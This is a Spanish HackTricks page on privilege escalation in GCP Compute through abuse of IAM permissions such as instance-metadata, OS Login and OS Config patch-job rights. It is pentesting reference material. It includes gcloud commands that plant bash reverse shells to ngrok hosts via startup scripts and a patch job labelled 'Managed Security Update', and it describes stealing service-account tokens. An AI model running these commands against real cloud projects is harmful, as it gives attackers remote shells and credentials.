GCP - Compute Privesc

Support HackTricks

Compute

Para más información sobre Compute y VPC (red) en GCP, consulta:

GCP - Compute Enum

Ten en cuenta que para realizar todos los ataques de escalada de privilegios que requieren modificar los metadatos de la instancia (como agregar nuevos usuarios y claves SSH) es necesario que tengas permisos actAs sobre la SA adjunta a la instancia, ¡incluso si la SA ya está adjunta!

compute.projects.setCommonInstanceMetadata

Con ese permiso puedes modificar la información de metadatos de una instancia y cambiar las claves autorizadas de un usuario, o crear un nuevo usuario con permisos sudo. Por lo tanto, podrás acceder vía SSH a cualquier instancia de VM y robar la Cuenta de Servicio de GCP con la que se está ejecutando la instancia. Limitaciones:

  • Ten en cuenta que las Cuentas de Servicio de GCP que se ejecutan en instancias de VM por defecto tienen un alcance muy limitado

  • Necesitarás poder contactar al servidor SSH para iniciar sesión

Para más información sobre cómo explotar este permiso, consulta:

GCP - Add Custom SSH Metadata

También podrías realizar este ataque agregando un nuevo script de inicio y reiniciando la instancia:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Este permiso otorga los mismos privilegios que el permiso anterior pero sobre instancias específicas en lugar de un proyecto completo. Los mismos exploits y limitaciones que para la sección anterior se aplican.

compute.instances.setIamPolicy

Este tipo de permiso te permitirá otorgarte un rol con los permisos anteriores y escalar privilegios abusando de ellos.

compute.instances.osLogin

Si OSLogin está habilitado en la instancia, con este permiso solo puedes ejecutar gcloud compute ssh [INSTANCE] y conectarte a la instancia. No tendrás privilegios de root dentro de la instancia.

Para iniciar sesión con éxito con este permiso dentro de la instancia de VM, necesitas tener el permiso iam.serviceAccounts.actAs sobre la SA adjunta a la VM.

compute.instances.osAdminLogin

Si OSLogin está habilitado en la instancia, con este permiso solo puedes ejecutar gcloud compute ssh [INSTANCE] y conectarte a la instancia. Tendrás privilegios de root dentro de la instancia.

Para iniciar sesión con éxito con este permiso dentro de la instancia de VM, necesitas tener el permiso iam.serviceAccounts.actAs sobre la SA adjunta a la VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Es posible crear una máquina virtual con una Cuenta de Servicio asignada y robar el token de la cuenta de servicio accediendo a los metadatos para escalar privilegios a ella.

El script de exploit para este método se puede encontrar aquí.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Si tienes los permisos osconfig.patchDeployments.create o osconfig.patchJobs.exec puedes crear un trabajo de parcheo o despliegue. Esto te permitirá moverte lateralmente en el entorno y obtener ejecución de código en todas las instancias de cómputo dentro de un proyecto.

Ten en cuenta que en este momento no necesitas el permiso actAs sobre la SA adjunta a la instancia.

Si deseas explotar esto manualmente, necesitarás crear ya sea un trabajo de parcheo o despliegue. Para un trabajo de parcheo ejecuta:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Para implementar un despliegue de parches:

gcloud compute os-config patch-deployments create <name> ...

La herramienta patchy podría haberse utilizado en el pasado para explotar esta mala configuración (pero ahora no está funcionando).

Un atacante también podría abusar de esto para persistencia.

compute.machineImages.setIamPolicy

Otórgate permisos adicionales para la imagen de cómputo.

compute.snapshots.setIamPolicy

Otórgate permisos adicionales para un snapshot de disco.

compute.disks.setIamPolicy

Otórgate permisos adicionales para un disco.

Bypass Access Scopes

Siguiendo este enlace encontrarás algunas ideas para intentar eludir los scopes de acceso.

Escalación de privilegios local en la instancia de GCP Compute

GCP - local privilege escalation ssh pivoting

Referencias

Apoya a HackTricks

Last updated